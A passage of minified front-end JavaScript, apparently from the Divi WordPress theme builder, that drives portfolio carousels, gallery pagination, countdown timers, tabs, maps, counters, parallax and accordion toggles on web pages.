c="".concat(100/i,"%");if(r.css({width:c,"max-width":c}),a.removeClass("columns-".concat(a.data("portfolio-columns"))),a.addClass("columns-".concat(i)),a.data("portfolio-columns",i),!e)return t.data("columns_setting_up",!1);a.find(".et_pb_carousel_group").length&&(r.appendTo(a),a.find(".et_pb_carousel_group").remove());var l=a.data("items"),_=n('<div class="et_pb_carousel_group active">').appendTo(a);if(void 0!==l){r.data("position",""),l.length<=i?a.find(".et-pb-slider-arrows").hide():a.find(".et-pb-slider-arrows").show();for(var d=1,p=0;p<l.length;p++,d++)p<i?(n(l[p]).show(),n(l[p]).appendTo(_),n(l[p]).data("position",d),n(l[p]).addClass("position_".concat(d))):(d=n(l[p]).data("position"),n(l[p]).removeClass("position_".concat(d)),n(l[p]).data("position",""),n(l[p]).hide());t.data("columns_setting_up",!1)}}}}function ut(t){if("on"===t.data("auto-rotate")&&t.find(".et_pb_portfolio_item").length>t.find(".et_pb_carousel_group .et_pb_portfolio_item").length&&!t.hasClass("et_carousel_hovered")){var e=setTimeout((function(){dt(t.find(".et-pb-arrow-next"))}),t.data("auto-rotate-speed"));t.data("et_carousel_timer",e)}}if(!i&&(H.length>0||d.isBuilder)&&(H.off("click"),H.on("click"),window.et_pb_image_lightbox_init=function(e){if(!e.magnificPopup)return t(window).on("load",(function(){window.et_pb_image_lightbox_init(e)}));e.magnificPopup({type:"image",removalDelay:500,mainClass:"mfp-fade",zoom:{enabled:window.et_pb_custom&&!window.et_pb_custom.is_builder_plugin_used,duration:500,opener:function(t){return t.find("img")}},autoFocusLast:!1})},et_pb_image_lightbox_init(H)),(k.length||d.isBuilder)&&k.each((function(){var t=n(this);et_pb_slider_init(t)})),((K=n(".et_pb_carousel")).length||d.isBuilder)&&K.each((function(){n(this).et_pb_simple_carousel({slide_duration:1e3})})),(ot.length||d.isBuilder)&&n(ot).each((function(){window.et_pb_set_responsive_grid(n(this),".et_pb_grid_item")})),(A.length||d.isBuilder)&&(window.et_fullwidth_portfolio_init=function(t,e){var i=t.find(".et_pb_portfolio_items");i.data("items",i.find(".et_pb_portfolio_item").toArray()),t.data("columns_setting_up",!1),t.hasClass("et_pb_fullwidth_portfolio_carousel")?(i.prepend("".concat('<div class="et-pb-slider-arrows"><a class="et-pb-arrow-prev" href="#"><span>').concat(et_pb_custom.previous,"</span>")+'</a><a class="et-pb-arrow-next" href="#">'+"<span>".concat(et_pb_custom.next,"</span>")+"</a></div>"),pt(t,!0),ut(t),t.on("swiperight",(function(){n(this).find(".et-pb-arrow-prev").trigger("click")})),t.on("swipeleft",(function(){n(this).find(".et-pb-arrow-next").trigger("click")})),t.on("mouseenter",(function(){n(this).addClass("et_carousel_hovered"),void 0!==n(this).data("et_carousel_timer")&&clearInterval(n(this).data("et_carousel_timer"))})).on("mouseleave",(function(){n(this).removeClass("et_carousel_hovered"),ut(n(this))})),t.data("carouseling",!1),t.on("click",".et-pb-slider-arrows a",(function(t){return dt(n(this)),t.preventDefault(),!1}))):pt(t,!1),"function"==typeof e&&e()},A.each((function(){et_fullwidth_portfolio_init(n(this))}))),n(".et_pb_section_video").length&&(window._wpmejsSettings.pauseOtherPlayers=!1),I.length||d.isBuilder){var ft=function(t){if(t.attr("id")){var e=[];e.push(t.attr("id")),e.push(t.find(".et_pb_portfolio_filter > a.active").data("category-slug")),t.find(".et_pb_portofolio_pagination a.active").length?e.push(t.find(".et_pb_portofolio_pagination a.active").data("page")):e.push(1),C(e=e.join(l))}};window.et_pb_filterable_portfolio_init=function(t){void 0!==t?set_filterable_portfolio_init(t):I.each((function(){set_filterable_portfolio_init(n(this))}))},window.set_filterable_portfolio_init=function(t,e){var i=t.find(".et_pb_portfolio_items").clone();t.show(),t.find(".et_pb_portfolio_item").addClass("active"),t.css("display","block"),window.set_filterable_grid_items(t),"function"==typeof e&&e(),t.on("click",".et_pb_portfolio_filter a",(function(t){t.preventDefault();var e=n(this).data("category-slug"),a=n(this).parents(".et_pb_filterable_portfolio"),o=a.find(".et_pb_portfolio_items");"all"==e?(a.find(".et_pb_portfolio_filter a").removeClass("active"),a.find(".et_pb_portfolio_filter_all a").addClass("active"),o.empty(),o.append(i.find(".et_pb_portfolio_item").clone()),a.find(".et_pb_portfolio_item").addClass("active")):(a.find(".et_pb_portfolio_filter_all").removeClass("active"),a.find(".et_pb_portfolio_filter a").removeClass("active"),a.find(".et_pb_portfolio_filter_all a").removeClass("active"),n(this).addClass("active"),o.empty(),o.append(i.find(".et_pb_portfolio_item.project_category_".concat(n(this).data("category-slug"))).clone()),o.find(".et_pb_portfolio_item").removeClass("active"),o.find(".et_pb_portfolio_item.project_category_".concat(n(this).data("category-slug"))).addClass("active").removeClass("inactive")),window.set_filterable_grid_items(a),setTimeout((function(){ft(a)}),500),a.find(".et_pb_portfolio_item").removeClass("first_in_row last_in_row"),et_pb_set_responsive_grid(a,".et_pb_portfolio_item:visible")})),t.on("click",".et_pb_portofolio_pagination a",(function(t){t.preventDefault();var e=n(this).data("page"),i=n(this).parents(".et_pb_filterable_portfolio");i.find(".et_pb_portfolio_items"),et_pb_smooth_scroll(i,!1,800),n(this).hasClass("page-prev")?e=parseInt(n(this).parents("ul").find("a.active").data("page"))-1:n(this).hasClass("page-next")&&(e=parseInt(n(this).parents("ul").find("a.active").data("page"))+1),n(this).parents("ul").find("a").removeClass("active"),n(this).parents("ul").find("a.page-".concat(e)).addClass("active");var a=n(this).parents("ul").find("a.page-".concat(e)).parent().index(),o=n(this).parents("ul").find("li.page").length;n(this).parent().nextUntil(".page-".concat(a+3)).show(),n(this).parent().prevUntil(".page-".concat(a-3)).show(),n(this).parents("ul").find("li.page").each((function(t){n(this).hasClass("prev")||n(this).hasClass("next")||(t<a-3||t>a+1?n(this).hide():n(this).show(),(o-a<=2&&o-t<=5||a<=3&&t<=4)&&n(this).show())})),e>1?n(this).parents("ul").find("li.prev").show():n(this).parents("ul").find("li.prev").hide(),n(this).parents("ul").find("a.active").hasClass("last-page")?n(this).parents("ul").find("li.next").hide():n(this).parents("ul").find("li.next").show(),i.find(".et_pb_portfolio_item").hide(),i.find(".et_pb_portfolio_item").filter((function(t){return n(this).data("page")===e})).show(),window.et_pb_set_responsive_grid(i.find(".et_pb_portfolio_items"),".et_pb_portfolio_item"),setTimeout((function(){ft(i)}),500),i.find(".et_pb_portfolio_item").removeClass("first_in_row last_in_row"),et_pb_set_responsive_grid(i,".et_pb_portfolio_item:visible")})),t.on("et_hashchange",(function(e){var i=e.params;(t=n("#".concat(e.target.id))).find('.et_pb_portfolio_filter a[data-category-slug="'.concat(i[0],'"]')).hasClass("active")||t.find('.et_pb_portfolio_filter a[data-category-slug="'.concat(i[0],'"]')).trigger("click"),i[1]&&setTimeout((function(){t.find(".et_pb_portofolio_pagination a.page-".concat(i[1])).hasClass("active")||t.find(".et_pb_portofolio_pagination a.page-".concat(i[1])).addClass("active").trigger("click")}),300)}))},window.set_filterable_grid_items=function(t){var e,i=t.find(".et_pb_portfolio_filter > a.active").data("category-slug");window.et_pb_set_responsive_grid(t.find(".et_pb_portfolio_items"),".et_pb_portfolio_item");var a=(e="all"===i?t.find(".et_pb_portfolio_item"):t.find(".et_pb_portfolio_item.project_category_".concat(i))).length,o=t.data("posts-number"),r=0===o?1:Math.ceil(a/o);window.set_filterable_grid_pages(t,r),a=0;var s=1;t.find(".et_pb_portfolio_item").data("page",""),e.each((function(t){a++,0===parseInt(a%o)?(n(this).data("page",s),s++):n(this).data("page",s)})),e.filter((function(){return 1==n(this).data("page")})).show(),e.filter((function(){return 1!=n(this).data("page")})).hide()},window.set_filterable_grid_pages=function(t,e){var n=t.find(".et_pb_portofolio_pagination");if(n.length&&(n.html("<ul></ul>"),!(e<=1))){var i=n.children("ul");i.append('<li class="prev" style="display:none;"><a href="#" data-page="prev" class="page-prev">'.concat(et_pb_custom.prev,"</a></li>"));for(var a=1;a<=e;a++){var o=1===a?" active":"",r=a===e?" last-page":"",s=a>=5?' style="display:none;"':"";i.append("<li".concat(s,' class="page page-').concat(a,'"><a href="#" data-page="').concat(a,'" class="page-').concat(a).concat(o).concat(r,'">').concat(a,"</a></li>"))}i.append('<li class="next"><a href="#" data-page="next" class="page-next">'.concat(et_pb_custom.next,"</a></li>"))}},window.et_load_event_fired?et_pb_filterable_portfolio_init():n(window).on("load",(function(){et_pb_filterable_portfolio_init()}))}if((E.length||d.isBuilder)&&(window.set_gallery_grid_items=function(t){var e=t.find(".et_pb_gallery_items"),i=e.find(".et_pb_gallery_item"),a=i.length,o=parseInt(e.attr("data-per_page")),r=isNaN(o)||0===o?4:o,s=Math.ceil(a/r);window.et_pb_set_responsive_grid(e,".et_pb_gallery_item"),set_gallery_grid_pages(t,s),a=0;var c=1;i.data("page",""),i.each((function(t){a++;var e=n(this);0===parseInt(a%r)?(e.data("page",c),c++):e.data("page",c)})),i.filter((function(){return 1==n(this).data("page")})).show(),i.filter((function(){return 1!=n(this).data("page")})).hide()},window.set_gallery_grid_pages=function(t,e){var n=t.find(".et_pb_gallery_pagination");if(n.length)if(n.html("<ul></ul>"),e<=1)n.hide();else{var i=n.children("ul");i.append('<li class="prev" style="display:none;"><a href="#" data-page="prev" class="page-prev">'.concat(et_pb_custom.prev,"</a></li>"));for(var a=1;a<=e;a++){var o=1===a?" active":"",r=a===e?" last-page":"",s=a>=5?' style="display:none;"':"";i.append("<li".concat(s,' class="page page-').concat(a,'"><a href="#" data-page="').concat(a,'" class="page-').concat(a).concat(o).concat(r,'">').concat(a,"</a></li>"))}i.append('<li class="next"><a href="#" data-page="next" class="page-next">'.concat(et_pb_custom.next,"</a></li>"))}},window.set_gallery_hash=function(t){if(t.attr("id")){var e=[];e.push(t.attr("id")),t.find(".et_pb_gallery_pagination a.active").length?e.push(t.find(".et_pb_gallery_pagination a.active").data("page")):e.push(1),C(e=e.join(l))}},window.et_pb_gallery_init=function(t){t.hasClass("et_pb_gallery_grid")&&(t.show(),set_gallery_grid_items(t),t.on("et_hashchange",(function(e){var i=e.params;t=n("#".concat(e.target.id));var a=i[0];a&&(t.find(".et_pb_gallery_pagination a.page-".concat(a)).hasClass("active")||t.find(".et_pb_gallery_pagination a.page-".concat(a)).addClass("active").trigger("click"))})))},E.each((function(){var t=n(this);et_pb_gallery_init(t)})),E.data("paginating",!1),window.et_pb_gallery_pagination_nav=function(t){t.on("click",".et_pb_gallery_pagination a",(function(t){t.preventDefault();var e=n(this).data("page"),i=n(this).parents(".et_pb_gallery"),a=i.find(".et_pb_gallery_items"),o=a.find(".et_pb_gallery_item");if(!i.data("paginating")){i.data("paginating",!0),n(this).hasClass("page-prev")?e=parseInt(n(this).parents("ul").find("a.active").data("page"))-1:n(this).hasClass("page-next")&&(e=parseInt(n(this).parents("ul").find("a.active").data("page"))+1),n(this).parents("ul").find("a").removeClass("active"),n(this).parents("ul").find("a.page-".concat(e)).addClass("active");var r=n(this).parents("ul").find("a.page-".concat(e)).parent().index(),s=n(this).parents("ul").find("li.page").length;n(this).parent().nextUntil(".page-".concat(r+3)).show(),n(this).parent().prevUntil(".page-".concat(r-3)).show(),n(this).parents("ul").find("li.page").each((function(t){n(this).hasClass("prev")||n(this).hasClass("next")||(t<r-3||t>r+1?n(this).hide():n(this).show(),(s-r<=2&&s-t<=5||r<=3&&t<=4)&&n(this).show())})),e>1?n(this).parents("ul").find("li.prev").show():n(this).parents("ul").find("li.prev").hide(),n(this).parents("ul").find("a.active").hasClass("last-page")?n(this).parents("ul").find("li.next").hide():n(this).parents("ul").find("li.next").show(),o.hide(),o.filter((function(t){return n(this).data("page")===e})).show(),i.data("paginating",!1),window.et_pb_set_responsive_grid(a,".et_pb_gallery_item"),setTimeout((function(){set_gallery_hash(i)}),100)}}))},et_pb_gallery_pagination_nav(E),d.isBuilder&&et_pb_gallery_pagination_nav(n("#et-fb-app"))),J.length&&J.each((function(){window.et_bar_counters_init(n(this))})),window.et_countdown_timer=function(t){var e=parseInt(t.attr("data-end-timestamp"))-(new Date).getTime()/1e3,n=parseInt(e/86400);n=n>0?n:0,e%=86400;var i=parseInt(e/3600);i=i>0?i:0,e%=3600;var a=parseInt(e/60);a=a>0?a:0;var o=parseInt(e%60);o=o>0?o:0;var r=t.find(".days > .value").parent(".section"),s=t.find(".hours > .value").parent(".section"),c=t.find(".minutes > .value").parent(".section"),l=t.find(".seconds > .value").parent(".section");if(0==n)r.hasClass("zero")||t.find(".days > .value").html("000").parent(".section").addClass("zero").next().addClass("zero");else{var _=n.toString().length>=3?n.toString().length:3;t.find(".days > .value").html("000".concat(n).slice(-_)),r.hasClass("zero")&&r.removeClass("zero").next().removeClass("zero")}0===n&&0===i?s.hasClass("zero")||t.find(".hours > .value").html("00").parent(".section").addClass("zero").next().addClass("zero"):(t.find(".hours > .value").html("0".concat(i).slice(-2)),s.hasClass("zero")&&s.removeClass("zero").next().removeClass("zero")),0===n&&0===i&&0===a?c.hasClass("zero")||t.find(".minutes > .value").html("00").parent(".section").addClass("zero").next().addClass("zero"):(t.find(".minutes > .value").html("0".concat(a).slice(-2)),c.hasClass("zero")&&c.removeClass("zero").next().removeClass("zero")),0===n&&0===i&&0===a&&0===o?l.hasClass("zero")||t.find(".seconds > .value").html("00").parent(".section").addClass("zero"):(t.find(".seconds > .value").html("0".concat(o).slice(-2)),l.hasClass("zero")&&l.removeClass("zero").next().removeClass("zero"))},window.et_countdown_timer_labels=function(t){t.closest(".et_pb_column_3_8").length||t.closest(".et_pb_column_1_4").length||t.children(".et_pb_countdown_timer_container").width()<=400?(t.find(".days .label").text(t.find(".days").data("short")),t.find(".hours .label").text(t.find(".hours").data("short")),t.find(".minutes .label").text(t.find(".minutes").data("short")),t.find(".seconds .label").text(t.find(".seconds").data("short"))):(t.find(".days .label").text(t.find(".days").data("full")),t.find(".hours .label").text(t.find(".hours").data("full")),t.find(".minutes .label").text(t.find(".minutes").data("full")),t.find(".seconds .label").text(t.find(".seconds").data("full")))},(B.length||d.isBuilder)&&(window.et_pb_countdown_timer_init=function(t){t.each((function(){var t=n(this);et_countdown_timer_labels(t),et_countdown_timer(t),setInterval((function(){et_countdown_timer(t)}),1e3)}))},et_pb_countdown_timer_init(B)),window.et_pb_tabs_init=function(t){t.each((function(){var t=n(this),e=t.find(".et_pb_tabs_controls li"),i=v||m||g?0:t.find(".et_pb_tab_active").index(),a={use_controls:!1,use_arrows:!1,slide:".et_pb_all_tabs > div",tabs_animation:!0};0!==i&&(a.active_slide=i),t.et_pb_simple_slider(a).on("et_hashchange",(function(t){var e=t.params,i=n("#".concat(t.target.id)),a=e[0];i.find(".et_pb_tabs_controls li").eq(a).hasClass("et_pb_tab_active")||i.find(".et_pb_tabs_controls li").eq(a).trigger("click")})),e.on("click",(function(){var t=n(this),e=t.closest(".et_pb_tabs").data("et_pb_simple_slider");if(e.et_animation_running)return!1;if(t.addClass("et_pb_tab_active").siblings().removeClass("et_pb_tab_active"),e.data("et_pb_simple_slider").et_slider_move_to(t.index()),t.closest(".et_pb_tabs").attr("id")){var i=[];i.push(t.closest(".et_pb_tabs").attr("id")),i.push(t.index()),C(i=i.join(l))}return!1})),function(t){var e=window.location.hash;if(""!==e){var n=e.replace("#","");n=/^tab\-/.test(n)?n:"tab-".concat(n);var i=t.find('.et_pb_tabs_controls li a[href="#'.concat(n,'"]'));i.length&&i.parent().trigger("click")}}(t),window.et_pb_set_tabs_height()}))},(j.length||d.isBuilder)&&window.et_pb_tabs_init(j),F.length||d.isBuilder){var ht=function(){F.each((function(){et_pb_map_init(n(this))}))};window.et_pb_map_init=function(t){if("undefined"!=typeof google&&void 0!==google.maps){var e=At();it=e;var i="desktop"!==e?"-".concat(e):"",a="phone"===e?"-tablet":"",o=t.attr("data-grayscale".concat(i))||0;o||(o=t.attr("data-grayscale".concat(a))||t.attr("data-grayscale")||0);var r,s=t.children(".et_pb_map"),c=o,l=N&&"off"!==s.data("mobile-dragging")||!N;0!==c&&(c="-".concat(c.toString()));var _=parseFloat(s.attr("data-center-lat"))||0,d=parseFloat(s.attr("data-center-lng"))||0;t.data("map",new google.maps.Map(s[0],{zoom:parseInt(s.attr("data-zoom")),center:new google.maps.LatLng(_,d),mapTypeId:google.maps.MapTypeId.ROADMAP,scrollwheel:"on"==s.attr("data-mouse-wheel"),draggable:l,panControlOptions:{position:t.is(".et_beneath_transparent_nav")?google.maps.ControlPosition.LEFT_BOTTOM:google.maps.ControlPosition.LEFT_TOP},zoomControlOptions:{position:t.is(".et_beneath_transparent_nav")?google.maps.ControlPosition.LEFT_BOTTOM:google.maps.ControlPosition.LEFT_TOP},styles:[{stylers:[{saturation:parseInt(c)}]}]})),t.find(".et_pb_map_pin").each((function(){var e=n(this),i=new google.maps.Marker({position:new google.maps.LatLng(parseFloat(e.attr("data-lat")),parseFloat(e.attr("data-lng"))),map:t.data("map"),title:e.attr("data-title"),icon:{url:"".concat(et_pb_custom.builder_images_uri,"/marker.png"),size:new google.maps.Size(46,43),anchor:new google.maps.Point(16,43)},shape:{coord:[1,1,46,43],type:"rect"},anchorPoint:new google.maps.Point(0,-45)});if(e.find(".infowindow").length){var a=new google.maps.InfoWindow({content:e.html()});google.maps.event.addListener(t.data("map"),"click",(function(){a.close()})),google.maps.event.addListener(i,"click",(function(){r&&r.close(),r=a,a.open(t.data("map"),i),e.closest(".et_pb_module").trigger("mouseleave"),setTimeout((function(){e.closest(".et_pb_module").trigger("mouseenter")}),1)}))}}))}},window.et_load_event_fired?ht():"undefined"!=typeof google&&void 0!==google.maps&&google.maps.event.addDomListener(window,"load",(function(){ht()}))}n(".et_pb_shop, .et_pb_wc_upsells, .et_pb_wc_related_products").each((function(){var t=n(this),e=(0,a.default)(t.data("icon"))||""===t.data("icon")?"":t.data("icon"),i=(0,a.default)(t.data("icon-tablet"))||""===t.data("icon-tablet")?"":t.data("icon-tablet"),o=(0,a.default)(t.data("icon-phone"))||""===t.data("icon-phone")?"":t.data("icon-phone"),r=(0,a.default)(t.data("icon-sticky"))||""===t.data("icon-sticky")?"":t.data("icon-sticky"),s=t.find(".et_overlay");if(!s.length&&t.hasClass("et_pb_wc_related_products")&&(s=t.find(".et_pb_extra_overlay"),t=s.closest(".et_pb_module_inner").parent(),e=(0,a.default)(t.data("icon"))||""===t.data("icon")?"":t.data("icon"),i=(0,a.default)(t.data("icon-tablet"))||""===t.data("icon-tablet")?"":t.data("icon-tablet"),o=(0,a.default)(t.data("icon-phone"))||""===t.data("icon-phone")?"":t.data("icon-phone"),r=(0,a.default)(t.data("icon-sticky"))||""===t.data("icon-sticky")?"":t.data("icon-sticky")),""!==e&&s.attr("data-icon",e).addClass("et_pb_inline_icon"),""!==i&&s.attr("data-icon-tablet",i).addClass("et_pb_inline_icon_tablet"),""!==o&&s.attr("data-icon-phone",o).addClass("et_pb_inline_icon_phone"),""!==r&&s.attr("data-icon-sticky",r).addClass("et_pb_inline_icon_sticky"),t.hasClass("et_pb_shop")){var c=t.find("li.product"),l=t.attr("data-shortcode_index"),_="et_pb_shop_item_".concat(l);c.length>0&&c.each((function(t,e){n(e).addClass("".concat(_,"_").concat(t))}))}})),n(".et_pb_wc_cart_totals").each((function(){var t=d.isBuilder?n(".et_pb_module_inner",this):n(this),e={};n.each(t.data(),(function(n){if(n.includes("buttonName")){var i=t.data(n),a=t.data("".concat(i,"-icon"))||"",o=t.data("".concat(i,"-icon-tablet"))||"",r=t.data("".concat(i,"-icon-phone"))||"";e[i]={icon:a,"icon-tablet":o,"icon-phone":r,class:t.data("button-class")}}})),n.each(e,(function(e,n){var i=t.find('button[name="'.concat(e,'"]:eq(0)'));0===i.length&&(i=t.find(".".concat(e))),i.addClass(n.class),i.attr("data-icon",n.icon),i.attr("data-icon-tablet",n["icon-tablet"]),i.attr("data-icon-phone",n["icon-phone"])}))})),q.each((function(){var t,e,i=n(this),a=i.data("background-layout"),o=i.data("background-layout-hover"),r=i.data("background-layout-tablet"),s=i.data("background-layout-phone");i.hasClass("et_pb_button_module_wrapper")?i=i.find("> .et_pb_button"):i.hasClass("et_pb_gallery")?(t=i.find(".et_pb_gallery_item"),i=i.add(t)):i.hasClass("et_pb_post_slider")?(t=i.find(".et_pb_slide"),i=i.add(t)):i.hasClass("et_pb_slide")&&(e=i.closest(".et_pb_slider"),i=i.add(e));var c="et_pb_bg_layout_light et_pb_bg_layout_dark et_pb_text_color_dark",l="et_pb_bg_layout_".concat(a),_="et_pb_bg_layout_".concat(o),d="light"===a?"et_pb_text_color_dark":"",p="light"===o?"et_pb_text_color_dark":"";r&&(c+=" et_pb_bg_layout_light_tablet et_pb_bg_layout_dark_tablet et_pb_text_color_dark_tablet",l+=" et_pb_bg_layout_".concat(r,"_tablet"),_+=" et_pb_bg_layout_".concat(o,"_tablet"),d+="light"===r?" et_pb_text_color_dark_tablet":"",p+="light"===o?" et_pb_text_color_dark_tablet":""),s&&(c+=" et_pb_bg_layout_light_phone et_pb_bg_layout_dark_phone et_pb_text_color_dark_phone",l+=" et_pb_bg_layout_".concat(s,"_phone"),_+=" et_pb_bg_layout_".concat(o,"_phone"),d+="light"===s?" et_pb_text_color_dark_phone":"",p+="light"===o?" et_pb_text_color_dark_phone":""),i.on("mouseenter",(function(){i.removeClass(c),i.addClass(_),i.hasClass("et_pb_audio_module")&&""!==p&&i.addClass(p)})),i.on("mouseleave",(function(){i.removeClass(c),i.addClass(l),i.hasClass("et_pb_audio_module")&&""!==d&&i.addClass(d)}))})),(L.length||d.isBuilder||n(".et_pb_ajax_pagination_container").length>0)&&(window.et_pb_circle_counter_init=function(t,e,i){if(!(t.width()<=0)){var a=At();it=a;var o="";void 0!==i&&""!==i?o="-".concat(i):"desktop"!==a&&(o="-".concat(a));var r=t.data("bar-bg-color"),s=t.data("bar-bg-color".concat(o));void 0!==s&&""!==s&&(r=s);var c=t.data("color")||"#000000",l=t.data("color".concat(o));void 0!==l&&""!==l&&(c=l);var _=t.data("alpha")||"0.1",d=t.data("alpha".concat(o));void 0===d||""===d||isNaN(d)||(_=d),t.easyPieChart({animate:{duration:1800,enabled:!0},size:0!==t.width()?t.width():10,barColor:r,trackColor:c,trackAlpha:_,scaleColor:!1,lineWidth:5,onStart:function(){n(this.el).find(".percent p").css({visibility:"visible"})},onStep:function(t,e,i){n(this.el).find(".percent-value").text(Math.round(parseInt(i)))},onStop:function(t,e){n(this.el).find(".percent-value").text(n(this.el).data("number-value"))}})}},window.et_pb_reinit_circle_counters=function(t){t.each((function(){var t=n(this).find(".et_pb_circle_counter_inner");window.et_pb_circle_counter_init(t,!1),t.on("mouseover",(function(e){window.et_pb_circle_counter_update(t,e,"hover")})),t.on("mouseleave",(function(e){window.et_pb_circle_counter_update(t,e)})),t.on("containerWidthChanged",(function(e,i){(t=n(e.target)).find("canvas").remove(),t.removeData("easyPieChart"),window.et_pb_circle_counter_init(t,!0,i)}));var e=t.attr("data-sticky-id");e&&(window.addEventListener("ETBuilderStickyStart",(function(n){e===n.detail.stickyId&&window.et_pb_circle_counter_update(t,event,"sticky")})),window.addEventListener("ETBuilderStickyEnd",(function(n){e===n.detail.stickyId&&window.et_pb_circle_counter_update(t,event)})))}))},window.et_pb_reinit_circle_counters(L)),window.et_pb_circle_counter_update=function(t,e,i){if(t.is(":visible")&&void 0!==t.data("easyPieChart")){if("mouseleave"===e.type&&t.closest(".et_pb_sticky").length>0&&(i="sticky"),n(e.target).length>0&&("mouseover"===e.type||"mouseleave"===e.type)){var a=!1,o=t.data("bar-bg-color-hover"),r=t.data("color-hover"),s=t.data("alpha-hover");if((void 0!==o&&""!==o||void 0!==r&&""!==r||void 0!==s&&""!==s)&&(a=!0),!a)return}var c=[];void 0!==i&&""!==i&&(c=[i]),t.trigger("containerWidthChanged",c),["ETBuilderStickyStart","ETBuilderStickyEnd"].includes(e.type)&&""===t.find(".percent-value").text()||(t.data("easyPieChart").disableAnimation(),t.data("easyPieChart").update(t.data("number-value")))}},(D.length||d.isBuilder||n(".et_pb_ajax_pagination_container").length>0)&&(window.et_pb_reinit_number_counters=function(t){var e=n("body").hasClass("gecko");function i(t,e){return t.toString().replace(/\B(?=(\d{3})+(?!\d))/g,e)}function a(t){return t.data("number-separator")}n.fn.fitText&&t.find(".percent p").fitText(.3),t.each((function(){var t=n(this);t.easyPieChart({animate:{duration:1800,enabled:!0},size:e?1:0,trackColor:!1,scaleColor:!1,lineWidth:0,onStart:function(e,o){n(this.el).addClass("active"),e===o&&n(this.el).find(".percent-value").text(i(n(this.el).data("number-value"),a(t)))},onStep:function(e,o,r){r!=o&&n(this.el).find(".percent-value").text(i(Math.round(parseInt(r)),a(t)))},onStop:function(e,o){n(this.el).find(".percent-value").text(i(n(this.el).data("number-value"),a(t)))}})}))},window.et_pb_reinit_number_counters(D)),window.et_apply_parallax=function(){if(n(this).length&&void 0!==n(this)&&void 0!==n(this).offset()){var t=b;v?t=p.jQuery("#et-fb-app"):w()&&(t=n(window));var e=n(this),a=e.parent(),o=y()?e.offset().top/2:e.offset().top,r=t.scrollTop();if(!a.hasClass("et_is_animating")){if(i){var s="#divi-layout-iframe-".concat(ETBlockLayoutModulesScript.blockId);o+=p.jQuery(s).offset().top}var c,l=.3*(r+b.height()-o);c="translate(0, ".concat(l,"px)"),(e.children(".et_parallax_bg_wrap").length>0?e.children(".et_parallax_bg_wrap").find(".et_parallax_bg"):e.children(".et_parallax_bg")).css({"-webkit-transform":c,"-moz-transform":c,"-ms-transform":c,transform:c})}}},window.et_parallax_set_height=function(){var t=n(this),e=d.isBuilder&&t.parent(".et_pb_fullscreen").length&&b.height()>t.innerHeight()?b.height():t.innerHeight(),i=.3*b.height()+e;m&&(i+=p.jQuery("#et_pb_layout .inside").offset().top),t.find(".et_parallax_bg").css({height:"".concat(i,"px")})},window.et_apply_builder_css_parallax=function(){if(d.isBuilder||i){var t=n(this),e=t.children(".et_parallax_bg");if(e.css({width:"",height:"",top:"",left:"",backgroundAttachment:""}),!w()||v){var a=v?p.jQuery("#et-fb-app"):b,o=a.scrollTop(),r=m?p.jQuery("#et_pb_layout .inside").offset().top:0,s=y()?2:1,c=t.offset(),l=y()?c.top/2:c.top;i&&(a=p.jQuery((0,_.getContentAreaSelector)(p,!0)),r=p.jQuery("#divi-layout-iframe-".concat(ETBlockLayoutModulesScript.blockId)).offset().top,o=a.offset().top),e.css({width:"".concat(n(window).width(),"px"),height:"".concat(a.innerHeight()*s,"px"),top:"".concat(o-r-l,"px"),left:"".concat(0-c.left,"px"),backgroundAttachment:"scroll"})}}},n(".et_pb_accordion").on("touchstart",(function(t){if("desktop"!==At()){var e=n(t.target);(e.hasClass("et_pb_toggle_title")||e.hasClass("et_fb_toggle_overlay"))&&(t.preventDefault(),e.trigger("click"))}})),n("body").on("click",".et_pb_toggle_title, .et_fb_toggle_overlay",(function(){var t,e,i=n(this).closest(".et_pb_toggle"),a=i.parents(".et_pb_section"),o=i.find(".et_pb_toggle_content"),r=i.closest(".et_pb_accordion"),s=r.length,c=r.hasClass("et_pb_accordion_toggling"),l=n(window).scrollTop(),_=0,d=i.hasClass("et_pb_toggle_close")?"closed":"opened";if(s){if(i.hasClass("et_pb_toggle_open")||c)return!1;r.addClass("et_pb_accordion_toggling"),t=i.siblings(".et_pb_toggle_open")}if(!o.is(":animated")&&(o.slideToggle(700,(function(){!function(t,e,n){"closed"===t?e.removeClass("et_pb_toggle_close").addClass("et_pb_toggle_open"):e.removeClass("et_pb_toggle_open").addClass("et_pb_toggle_close"),n.hasClass("et_pb_section_parallax")&&!n.children().hasClass("et_pb_parallax_css")&&et_parallax_set_height.bind(n)(),window.et_reinit_waypoint_modules()}(d,i,a)})),s)){var p=function(){t.removeClass("et_pb_toggle_open").addClass("et_pb_toggle_close"),r.removeClass("et_pb_accordion_toggling"),e=i.offset(),n("#wpadminbar").length&&(_+=n("#wpadminbar").height()),n("#top-header").length&&(_+=n("#top-header").height()),n("#main-header").length&&!window.et_is_vertical_nav&&(_+=n("#main-header").height()),l+_>e.top&&n("html, body").animate({scrollTop:e.top-_-50})};t.find(".et_pb_toggle_content").is(":visible")?t.find(".et_pb_toggle_content").slideToggle(700,p):(t.find(".et_pb_toggle_content").hide(),p())}}));var bt=/^[a-zA-Z0-9.!#$%&'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/,vt=n(".et_pb_contact_form_container"),mt=!d.isBuilder&&n(".et_pb_module.et_pb_recaptcha_enabled").length>0,gt=document.body.innerHTML.match(/<script [^>]*src="[^"].*google.com\/recaptcha\/api.js\?.*render.*"[^>]*>([\s\S]*?)<\/script>/gim),wt=n("#et-recaptcha-v3-js"),yt=gt&>.length>wt.length;function xt(t){var e=t||k;e&&e.length&&e.each((function(){var t=n(this).parent(".et_pb_section"),e=n(this).find(".et_pb_slide"),i=e.find(".et_pb_container"),a=0,o=0,r=n(this).hasClass("et_pb_post_slider_image_top"),s=n(this).hasClass("et_pb_post_slider_image_bottom");if(t.is(".et_pb_section_first"))return!0;i.css("height",""),e.addClass("et_pb_temp_slide"),"object"===u(n(this).data("et_pb_simple_slider"))&&n(this).data("et_pb_simple_slider").et_fix_slider_content_images(),e.each((function(){var 